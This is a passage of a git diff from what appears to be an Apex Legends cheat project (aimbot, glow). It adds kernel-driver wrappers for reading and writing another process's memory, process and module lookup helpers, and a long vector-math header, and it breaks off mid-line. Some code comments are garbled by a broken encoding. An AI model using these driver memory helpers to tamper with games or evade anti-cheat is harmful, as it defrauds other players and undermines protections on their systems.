{}; + Input.ProcessId = ProcessId; + Input.BaseAddress = BaseAddress; + Input.Buffer = reinterpret_cast(Buffer); + Input.Size = Size; + Input.PerformCopyOnWrite = PerformCopyOnWrite; + return KbSendRequest(65, &Input, sizeof(Input)); +} + +/* ȡڴ */ +BOOL KbReadProcessMemory( + ULONG ProcessId, + IN PVOID BaseAddress, + OUT PVOID Buffer, + ULONG Size) +{ + if (!ProcessId || !BaseAddress || !Buffer || !Size) return FALSE; + KB_READ_PROCESS_MEMORY_IN Input = {}; + Input.ProcessId = ProcessId; + Input.BaseAddress = BaseAddress; + Input.Buffer = reinterpret_cast(Buffer); + Input.Size = Size; + return KbSendRequest(64, &Input, sizeof(Input)); +} + +/* ȡڴ */ +template +T read(DWORD32 process_id, DWORD64 addr) +{ + T result{}; + int size = sizeof(T); + + KbReadProcessMemory((ULONG)process_id, (PVOID)addr, (PVOID)&result, (ULONG)size); + return result; +} + +/* дڴ */ +template +void write(DWORD32 process_id, DWORD64 addr, T buf) +{ + int size = sizeof(T); + KbWriteProcessMemory((ULONG)process_id, (PVOID)addr, (PVOID)&buf, (ULONG)size, FALSE); +} + +/* 豸 */ +HANDLE open_device(LPCWSTR NativeDeviceName = symbols) +{ + g_device = CreateFileW(NativeDeviceName, + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + + return g_device; +} + +/* ȡID */ +int get_process_id(const wchar_t* process) +{ + HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (Snap == INVALID_HANDLE_VALUE) return false; + + PROCESSENTRY32W ProcessInfo{ 0 }; + ProcessInfo.dwSize = sizeof(ProcessInfo); + + if (Process32First(Snap, &ProcessInfo)) + { + do + { + if (wcscmp(process, ProcessInfo.szExeFile) == 0) + { + CloseHandle(Snap); + return ProcessInfo.th32ProcessID; + } + } while (Process32Next(Snap, &ProcessInfo)); + } + + CloseHandle(Snap); + return 0; +} + +/* ָģ */ +MODULEENTRY32W find_module(const wchar_t* name, int pid) +{ + MODULEENTRY32W Result{ 0 }; + Result.dwSize = sizeof(Result); + + HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid); + if (Snap == INVALID_HANDLE_VALUE) + { + int code = GetLastError(); + return Result; + } + + if (Module32First(Snap, &Result)) + { + do + { + if (wcscmp(name, Result.szModule) == 0) + { + CloseHandle(Snap); + return Result; + } + } while (Module32Next(Snap, &Result)); + } + + CloseHandle(Snap); + return {}; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\350\207\252\347\236\204\344\270\215\347\250\263\345\276\205\344\277\256\346\224\271]/vectors.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\350\207\252\347\236\204\344\270\215\347\250\263\345\276\205\344\277\256\346\224\271]/vectors.hpp" new file mode 100644 index 0000000..70feead --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\350\207\252\347\236\204\344\270\215\347\250\263\345\276\205\344\277\256\346\224\271]/vectors.hpp" @@ -0,0 +1,1439 @@ +#include +#include + +#define Assert( _exp ) ((void)0) + +#define FastSqrt(x) (sqrt)(x) + +#define M_PI 3.14159265358979323846 // matches value in gcc v2 math.h + +#define M_PI_F ((float)(M_PI)) // Shouldn't collide with anything. + +#define M_PHI 1.61803398874989484820 // golden ratio + +// NJS: Inlined to prevent floats from being autopromoted to doubles, as with the old system. +#ifndef RAD2DEG +#define RAD2DEG( x ) ( (float)(x) * (float)(180.f / M_PI_F) ) +#endif + +#ifndef DEG2RAD +#define DEG2RAD( x ) ( (float)(x) * (float)(M_PI_F / 180.f) ) +#endif + +// MOVEMENT INFO +enum +{ + PITCH = 0, // up / down + YAW, // left / right + ROLL // fall over +}; + +// decls for aligning data + +#define DECL_ALIGN(x) __attribute__((aligned(x))) + +#define ALIGN16 DECL_ALIGN(16) +#define VALVE_RAND_MAX 0x7fff +#define VectorExpand(v) (v).x, (v).y, (v).z + +struct matrix3x4_t +{ + matrix3x4_t() {} + matrix3x4_t( + float m00, float m01, float m02, float m03, + float m10, float m11, float m12, float m13, + float m20, float m21, float m22, float m23) + { + m_flMatVal[0][0] = m00; m_flMatVal[0][1] = m01; m_flMatVal[0][2] = m02; m_flMatVal[0][3] = m03; + m_flMatVal[1][0] = m10; m_flMatVal[1][1] = m11; m_flMatVal[1][2] = m12; m_flMatVal[1][3] = m13; + m_flMatVal[2][0] = m20; m_flMatVal[2][1] = m21; m_flMatVal[2][2] = m22; m_flMatVal[2][3] = m23; + } + + float* operator[](int i) { Assert((i >= 0) && (i < 3)); return m_flMatVal[i]; } + const float* operator[](int i) const { Assert((i >= 0) && (i < 3)); return m_flMatVal[i]; } + float* Base() { return &m_flMatVal[0][0]; } + const float* Base() const { return &m_flMatVal[0][0]; } + + float m_flMatVal[3][4]; +}; + +class VMatrix +{ +public: + + VMatrix() {} + VMatrix( + float m00, float m01, float m02, float m03, + float m10, float m11, float m12, float m13, + float m20, float m21, float m22, float m23, + float m30, float m31, float m32, float m33 + ) { + m[0][0] = m00; + m[0][1] = m01; + m[0][2] = m02; + m[0][3] = m03; + + m[1][0] = m10; + m[1][1] = m11; + m[1][2] = m12; + m[1][3] = m13; + + m[2][0] = m20; + m[2][1] = m21; + m[2][2] = m22; + m[2][3] = m23; + + m[3][0] = m30; + m[3][1] = m31; + m[3][2] = m32; + m[3][3] = m33; + } + + // array access + inline float* operator[](int i) + { + return m[i]; + } + + inline const float* operator[](int i) const + { + return m[i]; + } + + // Get a pointer to m[0][0] + inline float* Base() + { + return &m[0][0]; + } + + inline const float* Base() const + { + return &m[0][0]; + } + +public: + // The matrix. + float m[4][4]; +}; + +class Vector +{ +public: + float x, y, z; + Vector(void); + Vector(float X, float Y, float Z); + void Init(float ix = 0.0f, float iy = 0.0f, float iz = 0.0f); + bool IsValid() const; + float operator[](int i) const; + float& operator[](int i); + inline void Zero(); + bool operator==(const Vector& v) const; + bool operator!=(const Vector& v) const; + inline Vector& operator+=(const Vector& v); + inline Vector& operator-=(const Vector& v); + inline Vector& operator*=(const Vector& v); + inline Vector& operator*=(float s); + inline Vector& operator/=(const Vector& v); + inline Vector& operator/=(float s); + inline Vector& operator+=(float fl); + inline Vector& operator-=(float fl); + inline float Length() const; + inline float LengthSqr(void) const + { + return (x * x + y * y + z * z); + } + bool IsZero(float tolerance = 0.01f) const + { + return (x > -tolerance && x < tolerance && + y > -tolerance && y < tolerance && + z > -tolerance && z < tolerance); + } + Vector Normalize(); + void NormalizeInPlace(); + inline float DistTo(const Vector& vOther) const; + inline float DistToSqr(const Vector& vOther) const; + float Dot(const Vector& vOther) const; + float Length2D(void) const; + float Length2DSqr(void) const; + Vector& operator=(const Vector& vOther); + Vector operator-(void) const; + Vector operator+(const Vector& v) const; + Vector operator-(const Vector& v) const; + Vector operator*(const Vector& v) const; + Vector operator/(const Vector& v) const; + Vector operator*(float fl) const; + Vector operator/(float fl) const; + // Base address... + float* Base(); + float const* Base() const; +}; + +//=============================================== +inline void Vector::Init(float ix, float iy, float iz) +{ + x = ix; y = iy; z = iz; +} +//=============================================== +inline Vector::Vector(float X, float Y, float Z) +{ + x = X; y = Y; z = Z; +} +//=============================================== +inline Vector::Vector(void) { Zero(); } +//=============================================== +inline void Vector::Zero() +{ + x = y = z = 0.0f; +} +//=============================================== +inline void VectorClear(Vector& a) +{ + a.x = a.y = a.z = 0.0f; +} +//=============================================== +inline Vector& Vector::operator=(const Vector& vOther) +{ + x = vOther.x; y = vOther.y; z = vOther.z; + return *this; +} +//=============================================== +inline float& Vector::operator[](int i) +{ + Assert((i >= 0) && (i < 3)); + return ((float*)this)[i]; +} +//=============================================== +inline float Vector::operator[](int i) const +{ + Assert((i >= 0) && (i < 3)); + return ((float*)this)[i]; +} +//=============================================== +inline bool Vector::operator==(const Vector& src) const +{ + return (src.x == x) && (src.y == y) && (src.z == z); +} +//=============================================== +inline bool Vector::operator!=(const Vector& src) const +{ + return (src.x != x) || (src.y != y) || (src.z != z); +} +//=============================================== +inline void VectorCopy(const Vector& src, Vector& dst) +{ + dst.x = src.x; + dst.y = src.y; + dst.z = src.z; +} +//=============================================== +inline Vector& Vector::operator+=(const Vector& v) +{ + x += v.x; y += v.y; z += v.z; + return *this; +} +//=============================================== +inline Vector& Vector::operator-=(const Vector& v) +{ + x -= v.x; y -= v.y; z -= v.z; + return *this; +} +//=============================================== +inline Vector& Vector::operator*=(float fl) +{ + x *= fl; + y *= fl; + z *= fl; + + return *this; +} +//=============================================== +inline Vector& Vector::operator*=(const Vector& v) +{ + x *= v.x; + y *= v.y; + z *= v.z; + + return *this; +} +//=============================================== +inline Vector& Vector::operator+=(float fl) +{ + x += fl; + y += fl; + z += fl; + + return *this; +} +//=============================================== +inline Vector& Vector::operator-=(float fl) +{ + x -= fl; + y -= fl; + z -= fl; + + return *this; +} +//=============================================== +inline Vector& Vector::operator/=(float fl) +{ + Assert(fl != 0.0f); + float oofl = 1.0f / fl; + x *= oofl; + y *= oofl; + z *= oofl; + + return *this; +} +//=============================================== +inline Vector& Vector::operator/=(const Vector& v) +{ + Assert(v.x != 0.0f && v.y != 0.0f && v.z != 0.0f); + x /= v.x; + y /= v.y; + z /= v.z; + + return *this; +} +//=============================================== +inline float Vector::Length(void) const +{ + float root = 0.0f; + + float sqsr = x * x + y * y + z * z; + + root = sqrt(sqsr); + + return root; +} +//=============================================== +inline float Vector::Length2D(void) const +{ + float root = 0.0f; + + float sqst = x * x + y * y; + + root = sqrt(sqst); + + return root; +} +//=============================================== +inline float Vector::Length2DSqr(void) const +{ + return (x * x + y * y); +} +//=============================================== +inline Vector CrossProduct(const Vector& a, const Vector& b) +{ + return Vector(a.y * b.z - a.z * b.y, a.z * b.x - a.x * b.z, a.x * b.y - a.y * b.x); +} +//=============================================== +float Vector::DistTo(const Vector& vOther) const +{ + Vector delta; + + delta.x = x - vOther.x; + delta.y = y - vOther.y; + delta.z = z - vOther.z; + + return delta.Length(); +} +float Vector::DistToSqr(const Vector& vOther) const +{ + Vector delta; + + delta.x = x - vOther.x; + delta.y = y - vOther.y; + delta.z = z - vOther.z; + + return delta.LengthSqr(); +} +//=============================================== +inline Vector Vector::Normalize() +{ + Vector vector; + float length = this->Length(); + + if (length != 0) + { + vector.x = x / length; + vector.y = y / length; + vector.z = z / length; + } + else + { + vector.x = vector.y = 0.0f; vector.z = 1.0f; + } + + return vector; +} +//=============================================== +inline void Vector::NormalizeInPlace() +{ + Vector& v = *this; + + float iradius = 1.f / (this->Length() + 1.192092896e-07F); //FLT_EPSILON + + v.x *= iradius; + v.y *= iradius; + v.z *= iradius; +} +//=============================================== +inline float VectorNormalize(Vector& v) +{ + Assert(v.IsValid()); + float l = v.Length(); + if (l != 0.0f) + { + v /= l; + } + else + { + // FIXME: + // Just copying the existing implemenation; shouldn't res.z == 0? + v.x = v.y = 0.0f; v.z = 1.0f; + } + return l; +} +//=============================================== +inline float VectorNormalize(float* v) +{ + return VectorNormalize(*(reinterpret_cast(v))); +} +//=============================================== +inline Vector Vector::operator+(const Vector& v) const +{ + Vector res; + res.x = x + v.x; + res.y = y + v.y; + res.z = z + v.z; + return res; +} + +//=============================================== +inline Vector Vector::operator-(const Vector& v) const +{ + Vector res; + res.x = x - v.x; + res.y = y - v.y; + res.z = z - v.z; + return res; +} +//=============================================== +inline Vector Vector::operator*(float fl) const +{ + Vector res; + res.x = x * fl; + res.y = y * fl; + res.z = z * fl; + return res; +} +//=============================================== +inline Vector Vector::operator*(const Vector& v) const +{ + Vector res; + res.x = x * v.x; + res.y = y * v.y; + res.z = z * v.z; + return res; +} +//=============================================== +inline Vector Vector::operator/(float fl) const +{ + Vector res; + res.x = x / fl; + res.y = y / fl; + res.z = z / fl; + return res; +} +//=============================================== +inline Vector Vector::operator/(const Vector& v) const +{ + Vector res; + res.x = x / v.x; + res.y = y / v.y; + res.z = z / v.z; + return res; +} +inline float Vector::Dot(const Vector& vOther) const +{ + const Vector& a = *this; + + return(a.x * vOther.x + a.y * vOther.y + a.z * vOther.z); +} + +//----------------------------------------------------------------------------- +// length +//----------------------------------------------------------------------------- + +inline float VectorLength(const Vector& v) +{ + return (float)FastSqrt(v.x * v.x + v.y * v.y + v.z * v.z); +} + +//VECTOR SUBTRAC +inline void VectorSubtract(const Vector& a, const Vector& b, Vector& c) +{ + c.x = a.x - b.x; + c.y = a.y - b.y; + c.z = a.z - b.z; +} + +//VECTORADD +inline void VectorAdd(const Vector& a, const Vector& b, Vector& c) +{ + c.x = a.x + b.x; + c.y = a.y + b.y; + c.z = a.z + b.z; +} + +//----------------------------------------------------------------------------- +// Base address... +//----------------------------------------------------------------------------- +inline float* Vector::Base() +{ + return (float*)this; +} + +inline float const* Vector::Base() const +{ + return (float const*)this; +} + +inline void VectorMAInline(const float* start, float scale, const float* direction, float* dest) +{ + dest[0] = start[0] + direction[0] * scale; + dest[1] = start[1] + direction[1] * scale; + dest[2] = start[2] + direction[2] * scale; +} + +inline void VectorMAInline(const Vector& start, float scale, const Vector& direction, Vector& dest) +{ + dest.x = start.x + direction.x * scale; + dest.y = start.y + direction.y * scale; + dest.z = start.z + direction.z * scale; +} + +inline void VectorMA(const Vector& start, float scale, const Vector& direction, Vector& dest) +{ + VectorMAInline(start, scale, direction, dest); +} + +inline void VectorMA(const float* start, float scale, const float* direction, float* dest) +{ + VectorMAInline(start, scale, direction, dest); +} + +inline unsigned long& FloatBits(float& f) +{ + return *reinterpret_cast(&f); +} + +inline bool IsFinite(float f) +{ + return ((FloatBits(f) & 0x7F800000) != 0x7F800000); +} + +//========================================================= +// 2D Vector2D +//========================================================= + +class Vector2D +{ +public: + // Members + float x, y; + + // Construction/destruction + Vector2D(void); + Vector2D(float X, float Y); + Vector2D(const float* pFloat); + + // Initialization + void Init(float ix = 0.0f, float iy = 0.0f); + + // Got any nasty NAN's? + bool IsValid() const; + + // array access... + float operator[](int i) const; + float& operator[](int i); + + // Base address... + float* Base(); + float const* Base() const; + + // Initialization methods + void Random(float minVal, float maxVal); + + // equality + bool operator==(const Vector2D& v) const; + bool operator!=(const Vector2D& v) const; + + // arithmetic operations + Vector2D& operator+=(const Vector2D& v); + Vector2D& operator-=(const Vector2D& v); + Vector2D& operator*=(const Vector2D& v); + Vector2D& operator*=(float s); + Vector2D& operator/=(const Vector2D& v); + Vector2D& operator/=(float s); + + // negate the Vector2D components + void Negate(); + + // Get the Vector2D's magnitude. + float Length() const; + + // Get the Vector2D's magnitude squared. + float LengthSqr(void) const; + + // return true if this vector is (0,0) within tolerance + bool IsZero(float tolerance = 0.01f) const + { + return (x > -tolerance && x < tolerance && + y > -tolerance && y < tolerance); + } + + float Normalize(); + + // Normalize in place and return the old length. + float NormalizeInPlace(); + + // Compare length. + bool IsLengthGreaterThan(float val) const; + bool IsLengthLessThan(float val) const; + + // Get the distance from this Vector2D to the other one. + float DistTo(const Vector2D& vOther) const; + + // Get the distance from this Vector2D to the other one squared. + float DistToSqr(const Vector2D& vOther) const; + + // Copy + void CopyToArray(float* rgfl) const; + + // Multiply, add, and assign to this (ie: *this = a + b * scalar). This + // is about 12% faster than the actual Vector2D equation (because it's done per-component + // rather than per-Vector2D). + void MulAdd(const Vector2D& a, const Vector2D& b, float scalar); + + // Dot product. + float Dot(const Vector2D& vOther) const; + + // assignment + Vector2D& operator=(const Vector2D& vOther); + +#ifndef VECTOR_NO_SLOW_OPERATIONS + // copy constructors + Vector2D(const Vector2D& vOther); + + // arithmetic operations + Vector2D operator-(void) const; + + Vector2D operator+(const Vector2D& v) const; + Vector2D operator-(const Vector2D& v) const; + Vector2D operator*(const Vector2D& v) const; + Vector2D operator/(const Vector2D& v) const; + Vector2D operator*(float fl) const; + Vector2D operator/(float fl) const; + + // Cross product between two vectors. + Vector2D Cross(const Vector2D& vOther) const; + + // Returns a Vector2D with the min or max in X, Y, and Z. + Vector2D Min(const Vector2D& vOther) const; + Vector2D Max(const Vector2D& vOther) const; + +#else + +private: + // No copy constructors allowed if we're in optimal mode + Vector2D(const Vector2D& vOther); +#endif +}; + +//----------------------------------------------------------------------------- + +const Vector2D vec2_origin(0, 0); +//const Vector2D vec2_invalid(3.40282347E+38F, 3.40282347E+38F); + +//----------------------------------------------------------------------------- +// Vector2D related operations +//----------------------------------------------------------------------------- + +// Vector2D clear +void Vector2DClear(Vector2D& a); + +// Copy +void Vector2DCopy(const Vector2D& src, Vector2D& dst); + +// Vector2D arithmetic +void Vector2DAdd(const Vector2D& a, const Vector2D& b, Vector2D& result); +void Vector2DSubtract(const Vector2D& a, const Vector2D& b, Vector2D& result); +void Vector2DMultiply(const Vector2D& a, float b, Vector2D& result); +void Vector2DMultiply(const Vector2D& a, const Vector2D& b, Vector2D& result); +void Vector2DDivide(const Vector2D& a, float b, Vector2D& result); +void Vector2DDivide(const Vector2D& a, const Vector2D& b, Vector2D& result); +void Vector2DMA(const Vector2D& start, float s, const Vector2D& dir, Vector2D& result); + +// Store the min or max of each of x, y, and z into the result. +void Vector2DMin(const Vector2D& a, const Vector2D& b, Vector2D& result); +void Vector2DMax(const Vector2D& a, const Vector2D& b, Vector2D& result); + +#define Vector2DExpand( v ) (v).x, (v).y + +// Normalization +float Vector2DNormalize(Vector2D& v); + +// Length +float Vector2DLength(const Vector2D& v); + +// Dot Product +float DotProduct2D(const Vector2D& a, const Vector2D& b); + +// Linearly interpolate between two vectors +void Vector2DLerp(const Vector2D& src1, const Vector2D& src2, float t, Vector2D& dest); + +//----------------------------------------------------------------------------- +// +// Inlined Vector2D methods +// +//----------------------------------------------------------------------------- + +//----------------------------------------------------------------------------- +// constructors +//----------------------------------------------------------------------------- + +inline Vector2D::Vector2D(void) +{ +#ifdef _DEBUG + // Initialize to NAN to catch errors + //x = y = float_NAN; +#endif +} + +inline Vector2D::Vector2D(float X, float Y) +{ + x = X; y = Y; + Assert(IsValid()); +} + +inline Vector2D::Vector2D(const float* pFloat) +{ + Assert(pFloat); + x = pFloat[0]; y = pFloat[1]; + Assert(IsValid()); +} + +//----------------------------------------------------------------------------- +// copy constructor +//----------------------------------------------------------------------------- + +inline Vector2D::Vector2D(const Vector2D& vOther) +{ + Assert(vOther.IsValid()); + x = vOther.x; y = vOther.y; +} + +//----------------------------------------------------------------------------- +// initialization +//----------------------------------------------------------------------------- + +inline void Vector2D::Init(float ix, float iy) +{ + x = ix; y = iy; + Assert(IsValid()); +} + +inline void Vector2D::Random(float minVal, float maxVal) +{ + x = minVal + ((float)rand() / VALVE_RAND_MAX) * (maxVal - minVal); + y = minVal + ((float)rand() / VALVE_RAND_MAX) * (maxVal - minVal); +} + +inline void Vector2DClear(Vector2D& a) +{ + a.x = a.y = 0.0f; +} + +//----------------------------------------------------------------------------- +// assignment +//----------------------------------------------------------------------------- + +inline Vector2D& Vector2D::operator=(const Vector2D& vOther) +{ + Assert(vOther.IsValid()); + x = vOther.x; y = vOther.y; + return *this; +} + +//----------------------------------------------------------------------------- +// Array access +//----------------------------------------------------------------------------- + +inline float& Vector2D::operator[](int i) +{ + Assert((i >= 0) && (i < 2)); + return ((float*)this)[i]; +} + +inline float Vector2D::operator[](int i) const +{ + Assert((i >= 0) && (i < 2)); + return ((float*)this)[i]; +} + +//----------------------------------------------------------------------------- +// Base address... +//----------------------------------------------------------------------------- + +inline float* Vector2D::Base() +{ + return (float*)this; +} + +inline float const* Vector2D::Base() const +{ + return (float const*)this; +} + +//----------------------------------------------------------------------------- +// IsValid? +//----------------------------------------------------------------------------- + +inline bool Vector2D::IsValid() const +{ + return IsFinite(x) && IsFinite(y); +} + +//----------------------------------------------------------------------------- +// comparison +//----------------------------------------------------------------------------- + +inline bool Vector2D::operator==(const Vector2D& src) const +{ + Assert(src.IsValid() && IsValid()); + return (src.x == x) && (src.y == y); +} + +inline bool Vector2D::operator!=(const Vector2D& src) const +{ + Assert(src.IsValid() && IsValid()); + return (src.x != x) || (src.y != y); +} + +//----------------------------------------------------------------------------- +// Copy +//----------------------------------------------------------------------------- + +inline void Vector2DCopy(const Vector2D& src, Vector2D& dst) +{ + Assert(src.IsValid()); + dst.x = src.x; + dst.y = src.y; +} + +inline void Vector2D::CopyToArray(float* rgfl) const +{ + Assert(IsValid()); + Assert(rgfl); + rgfl[0] = x; rgfl[1] = y; +} + +//----------------------------------------------------------------------------- +// standard math operations +//----------------------------------------------------------------------------- + +inline void Vector2D::Negate() +{ + Assert(IsValid()); + x = -x; y = -y; +} + +inline Vector2D& Vector2D::operator+=(const Vector2D& v) +{ + Assert(IsValid() && v.IsValid()); + x += v.x; y += v.y; + return *this; +} + +inline Vector2D& Vector2D::operator-=(const Vector2D& v) +{ + Assert(IsValid() && v.IsValid()); + x -= v.x; y -= v.y; + return *this; +} + +inline Vector2D& Vector2D::operator*=(float fl) +{ + x *= fl; + y *= fl; + Assert(IsValid()); + return *this; +} + +inline Vector2D& Vector2D::operator*=(const Vector2D& v) +{ + x *= v.x; + y *= v.y; + Assert(IsValid()); + return *this; +} + +inline Vector2D& Vector2D::operator/=(float fl) +{ + Assert(fl != 0.0f); + float oofl = 1.0f / fl; + x *= oofl; + y *= oofl; + Assert(IsValid()); + return *this; +} + +inline Vector2D& Vector2D::operator/=(const Vector2D& v) +{ + Assert(v.x != 0.0f && v.y != 0.0f); + x /= v.x; + y /= v.y; + Assert(IsValid()); + return *this; +} + +inline void Vector2DAdd(const Vector2D& a, const Vector2D& b, Vector2D& c) +{ + Assert(a.IsValid() && b.IsValid()); + c.x = a.x + b.x; + c.y = a.y + b.y; +} + +inline void Vector2DSubtract(const Vector2D& a, const Vector2D& b, Vector2D& c) +{ + Assert(a.IsValid() && b.IsValid()); + c.x = a.x - b.x; + c.y = a.y - b.y; +} + +inline void Vector2DMultiply(const Vector2D& a, float b, Vector2D& c) +{ + Assert(a.IsValid() && IsFinite(b)); + c.x = a.x * b; + c.y = a.y * b; +} + +inline void Vector2DMultiply(const Vector2D& a, const Vector2D& b, Vector2D& c) +{ + Assert(a.IsValid() && b.IsValid()); + c.x = a.x * b.x; + c.y = a.y * b.y; +} + +inline void Vector2DDivide(const Vector2D& a, float b, Vector2D& c) +{ + Assert(a.IsValid()); + Assert(b != 0.0f); + float oob = 1.0f / b; + c.x = a.x * oob; + c.y = a.y * oob; +} + +inline void Vector2DDivide(const Vector2D& a, const Vector2D& b, Vector2D& c) +{ + Assert(a.IsValid()); + Assert((b.x != 0.0f) && (b.y != 0.0f)); + c.x = a.x / b.x; + c.y = a.y / b.y; +} + +inline void Vector2DMA(const Vector2D& start, float s, const Vector2D& dir, Vector2D& result) +{ + Assert(start.IsValid() && IsFinite(s) && dir.IsValid()); + result.x = start.x + s * dir.x; + result.y = start.y + s * dir.y; +} + +// FIXME: Remove +// For backwards compatability +inline void Vector2D::MulAdd(const Vector2D& a, const Vector2D& b, float scalar) +{ + x = a.x + b.x * scalar; + y = a.y + b.y * scalar; +} + +inline void Vector2DLerp(const Vector2D& src1, const Vector2D& src2, float t, Vector2D& dest) +{ + dest[0] = src1[0] + (src2[0] - src1[0]) * t; + dest[1] = src1[1] + (src2[1] - src1[1]) * t; +} + +//----------------------------------------------------------------------------- +// dot, cross +//----------------------------------------------------------------------------- +inline float DotProduct2D(const Vector2D& a, const Vector2D& b) +{ + Assert(a.IsValid() && b.IsValid()); + return(a.x * b.x + a.y * b.y); +} + +// for backwards compatability +inline float Vector2D::Dot(const Vector2D& vOther) const +{ + return DotProduct2D(*this, vOther); +} + +//----------------------------------------------------------------------------- +// length +//----------------------------------------------------------------------------- +inline float Vector2DLength(const Vector2D& v) +{ + Assert(v.IsValid()); + return (float)FastSqrt(v.x * v.x + v.y * v.y); +} + +inline float Vector2D::LengthSqr(void) const +{ + Assert(IsValid()); + return (x * x + y * y); +} + +inline float Vector2D::NormalizeInPlace() +{ + return Vector2DNormalize(*this); +} + +inline bool Vector2D::IsLengthGreaterThan(float val) const +{ + return LengthSqr() > val* val; +} + +inline bool Vector2D::IsLengthLessThan(float val) const +{ + return LengthSqr() < val * val; +} + +inline float Vector2D::Length(void) const +{ + return Vector2DLength(*this); +} + +inline void Vector2DMin(const Vector2D& a, const Vector2D& b, Vector2D& result) +{ + result.x = (a.x < b.x) ? a.x : b.x; + result.y = (a.y < b.y) ? a.y : b.y; +} + +inline void Vector2DMax(const Vector2D& a, const Vector2D& b, Vector2D& result) +{ + result.x = (a.x > b.x) ? a.x : b.x; + result.y = (a.y > b.y) ? a.y : b.y; +} + +//----------------------------------------------------------------------------- +// Normalization +//----------------------------------------------------------------------------- +inline float Vector2DNormalize(Vector2D& v) +{ + Assert(v.IsValid()); + float l = v.Length(); + if (l != 0.0f) + { + v /= l; + } + else + { + v.x = v.y = 0.0f; + } + return l; +} + +//----------------------------------------------------------------------------- +// Get the distance from this Vector2D to the other one +//----------------------------------------------------------------------------- +inline float Vector2D::DistTo(const Vector2D& vOther) const +{ + Vector2D delta; + Vector2DSubtract(*this, vOther, delta); + return delta.Length(); +} + +inline float Vector2D::DistToSqr(const Vector2D& vOther) const +{ + Vector2D delta; + Vector2DSubtract(*this, vOther, delta); + return delta.LengthSqr(); +} + +//----------------------------------------------------------------------------- +// Computes the closest point to vecTarget no farther than flMaxDist from vecStart +//----------------------------------------------------------------------------- +inline void ComputeClosestPoint2D(const Vector2D& vecStart, float flMaxDist, const Vector2D& vecTarget, Vector2D* pResult) +{ + Vector2D vecDelta; + Vector2DSubtract(vecTarget, vecStart, vecDelta); + float flDistSqr = vecDelta.LengthSqr(); + if (flDistSqr <= flMaxDist * flMaxDist) + { + *pResult = vecTarget; + } + else + { + vecDelta /= FastSqrt(flDistSqr); + Vector2DMA(vecStart, flMaxDist, vecDelta, *pResult); + } +} + +//----------------------------------------------------------------------------- +// +// Slow methods +// +//----------------------------------------------------------------------------- + +#ifndef VECTOR_NO_SLOW_OPERATIONS +#endif +//----------------------------------------------------------------------------- +// Returns a Vector2D with the min or max in X, Y, and Z. +//----------------------------------------------------------------------------- + +inline Vector2D Vector2D::Min(const Vector2D& vOther) const +{ + return Vector2D(x < vOther.x ? x : vOther.x, + y < vOther.y ? y : vOther.y); +} + +inline Vector2D Vector2D::Max(const Vector2D& vOther) const +{ + return Vector2D(x > vOther.x ? x : vOther.x, + y > vOther.y ? y : vOther.y); +} + +//----------------------------------------------------------------------------- +// arithmetic operations +//----------------------------------------------------------------------------- + +inline Vector2D Vector2D::operator-(void) const +{ + return Vector2D(-x, -y); +} + +inline Vector2D Vector2D::operator+(const Vector2D& v) const +{ + Vector2D res; + Vector2DAdd(*this, v, res); + return res; +} + +inline Vector2D Vector2D::operator-(const Vector2D& v) const +{ + Vector2D res; + Vector2DSubtract(*this, v, res); + return res; +} + +inline Vector2D Vector2D::operator*(float fl) const +{ + Vector2D res; + Vector2DMultiply(*this, fl, res); + return res; +} + +inline Vector2D Vector2D::operator*(const Vector2D& v) const +{ + Vector2D res; + Vector2DMultiply(*this, v, res); + return res; +} + +inline Vector2D Vector2D::operator/(float fl) const +{ + Vector2D res; + Vector2DDivide(*this, fl, res); + return res; +} + +inline Vector2D Vector2D::operator/(const Vector2D& v) const +{ + Vector2D res; + Vector2DDivide(*this, v, res); + return res; +} + +inline Vector2D operator*(float fl, const Vector2D& v) +{ + return v * fl; +} + +class QAngleByValue; +class QAngle +{ +public: + // Members + float x, y, z; + + // Construction/destruction + QAngle(void); + QAngle(float X, float Y, float Z); + // QAngle(RadianEuler const &angles); // evil auto type promotion!!! + + // Allow pass-by-value + operator QAngleByValue& () { return *((QAngleByValue*)(this)); } + operator const QAngleByValue& () const { return *((const QAngleByValue*)(this)); } + + // Initialization + void Init(float ix = 0.0f, float iy = 0.0f, float iz = 0.0f); + void Random(float minVal, float maxVal); + + // Got any nasty NAN's? + bool IsValid() const; + void Invalidate(); + + // array access... + float operator[](int i) const; + float& operator[](int i); + + // Base address... + float* Base(); + float const* Base() const; + + // equality + bool operator==(const QAngle& v) const; + bool operator!=(const QAngle& v) const; + + bool IsZero(float tolerance = 0.01f) const + { + return (x > -tolerance && x < tolerance && + y > -tolerance && y < tolerance && + z > -tolerance && z < tolerance); + } + + // arithmetic operations + QAngle& operator+=(const QAngle& v); + QAngle& operator-=(const QAngle& v); + QAngle& operator*=(float s); + QAngle& operator/=(float s); + + // Get the vector's magnitude. + float Length() const; + float LengthSqr() const; + + // negate the QAngle components + //void Negate(); + + // No assignment operators either... + QAngle& operator=(const QAngle& src); + +#ifndef VECTOR_NO_SLOW_OPERATIONS + // copy constructors + + // arithmetic operations + QAngle operator-(void) const; + + QAngle operator+(const QAngle& v) const; + QAngle operator-(const QAngle& v) const; + QAngle operator*(float fl) const; + QAngle operator/(float fl) const; +#else + +private: + // No copy constructors allowed if we're in optimal mode + QAngle(const QAngle& vOther); + +#endif +}; + +//----------------------------------------------------------------------------- +// constructors +//----------------------------------------------------------------------------- +inline QAngle::QAngle(void) +{ +#ifdef _DEBUG +#ifdef VECTOR_PARANOIA + // Initialize to NAN to catch errors + x = y = z = VEC_T_NAN; +#endif +#endif +} + +inline QAngle::QAngle(float X, float Y, float Z) +{ + x = X; y = Y; z = Z; +} + +//----------------------------------------------------------------------------- +// initialization +//----------------------------------------------------------------------------- +inline void QAngle::Init(float ix, float iy, float iz) +{ + x = ix; y = iy; z = iz; +} + +inline void QAngle::Random(float minVal, float maxVal) +{ + x = minVal + ((float)rand() / 